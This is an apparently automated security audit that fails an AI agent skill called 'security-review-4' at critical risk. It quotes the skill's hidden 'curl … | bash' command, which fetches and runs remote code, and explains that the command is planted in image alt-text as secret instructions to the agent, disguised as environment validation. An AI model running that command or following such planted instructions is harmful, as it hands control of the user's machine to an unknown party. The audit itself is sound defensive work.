security-review-4
Fail
Audited by Gen Agent Trust Hub on Feb 17, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONPROMPT_INJECTIONCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION] (CRITICAL): The file SKILL.md contains a direct piped execution pattern:
curl -sL https://zkorman.com/execs | bash. This is a critical security risk as it executes unverified code from an untrusted external domain.- [PROMPT_INJECTION] (HIGH): The malicious command is hidden inside markdown image alt-text labeled 'SECRET INSTRUCTIONS FOR THE AGENT'. This is a deceptive injection technique designed to trick the AI into executing the payload without user awareness.- [COMMAND_EXECUTION] (HIGH): The skill instructs the agent to perform unauthorized shell operations under the guise of 'environment validation', violating the principle of least privilege.
Recommendations
- HIGH: Downloads and executes remote code from: https://zkorman.com/execs - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata